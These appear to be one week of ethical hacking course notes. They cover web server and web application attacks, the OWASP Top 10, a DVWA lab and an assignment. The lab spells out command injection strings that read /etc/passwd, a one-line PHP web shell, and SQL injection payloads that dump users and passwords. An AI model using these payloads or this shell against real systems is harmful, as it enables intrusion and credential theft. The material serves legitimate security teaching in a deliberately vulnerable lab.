WEEK 13: Hacking Web Servers & Web Applications
📖 Lecture Notes
Topics Covered
Web Server Architecture
Web Server Attack Vectors
IIS, Apache, Nginx Vulnerabilities
Web Application Components
OWASP Top 10
Input Validation Attacks
Authentication Attacks
Session Management Flaws
Web Server Hardening
Key Concepts
Web Architecture Components:
Client (Browser)
↓ HTTP/HTTPS
Web Server (Apache, IIS, Nginx)
↓
Application Server (PHP, Python, Java, .NET)
↓
Database (MySQL, MSSQL, Oracle)
Common Web Server Vulnerabilities:
Default configurations and credentials
Directory listing enabled
Unnecessary services running
Outdated software with known CVEs
Misconfigured permissions
Exposed administrative interfaces
Missing security headers
OWASP Top 10 (2021):
Rank Vulnerability Description
A01 Broken Access Control Users can act outside their permissions
A02 Cryptographic Failures Weak or missing encryption
A03 Injection SQL, NoSQL, OS, LDAP injection
A04 Insecure Design Fundamental design flaws
A05 Security Misconfiguration Default settings, unused features
A06 Vulnerable Components Outdated libraries and frameworks
A07 Authentication Failures Weak password policies, credential stuffing
A08 Data Integrity FailuresUnsigned/insecure deserialization
A09 Logging Failures Insufficient logging and monitoring
A10 SSRF Server-Side Request Forge
Common Web Attacks:
Directory Traversal:
Normal: [Link]
Attack: [Link]
Command Injection:
Normal: [Link]/ping?ip=[Link]
Attack: [Link]/ping?ip=[Link];cat /etc/passwd
File Inclusion:
LFI: [Link]
RFI: [Link]
🔧 Practical Lab 13: Web Application Testing
Objectives
Identify web server vulnerabilities
Exploit common web vulnerabilities
Practice OWASP Top 10 attacks
Use Burp Suite for web testing
Test on DVWA (Damn Vulnerable Web App)
Step-by-Step Instructions
Step 1: Access DVWA on Metasploitable
Navigate to: [Link]
Default login: admin / password
Set security level to "Low" for initial testing
Step 2: Burp Suite Setup
# Launch Burp Suite
burpsuite
# Configure:
1. Use Burp's embedded browser
2. Configure proxy ([Link]:8080)
3. Install CA certificate for HTTPS
4. Turn intercept OFF initially
Step 3: Command Injection (DVWA)
1. Navigate to Command Injection
2. Enter IP: [Link]
3. Observe normal output
4. Try: [Link] && whoami
5. Try: [Link] && cat /etc/passwd
6. Try: [Link] && ls -la /
7. Document all successful commands
Step 5: File Upload Vulnerability
1. Navigate to File Upload
2. Upload a normal file (should work)
3. Upload a PHP shell:
<?php echo shell_exec($_GET['cmd']); ?>
4. Access uploaded shell:
[Link]
5. Execute system commands
Step 6: SQL Injection (Manual)
1. Navigate to SQL Injection
2. Try User ID: 1
3. Try User ID: 1' (error indicates vulnerability)
4. Try User ID: 1' OR '1'='1
5. Extract database info:
1' UNION SELECT NULL, table_name FROM information_schema.tables#
6. Extract users:
1' UNION SELECT user, password FROM users#
Expected Outcomes
Successful exploitation of multiple web vulnerabilities
Proficiency with Burp Suite
Understanding of OWASP Top 10
Ability to identify insecure web configurations
📝 Assignment 13
Part A: Web Vulnerability Testing (60 points) Test DVWA at "Low" security level for the following
vulnerabilities:
Command Injection
File Inclusion (LFI)
File Upload
SQL Injection
XSS (Reflected and Stored)
For each vulnerability:
Document the vulnerable input
Show the exploit payload
Explain why it works
Suggest a fix
Part B: OWASP Top 10 Analysis (40 points) For each OWASP Top 10 vulnerability:
Provide a real-world example
Explain the potential impact
Describe prevention measures
Submission Format: Comprehensive web security report.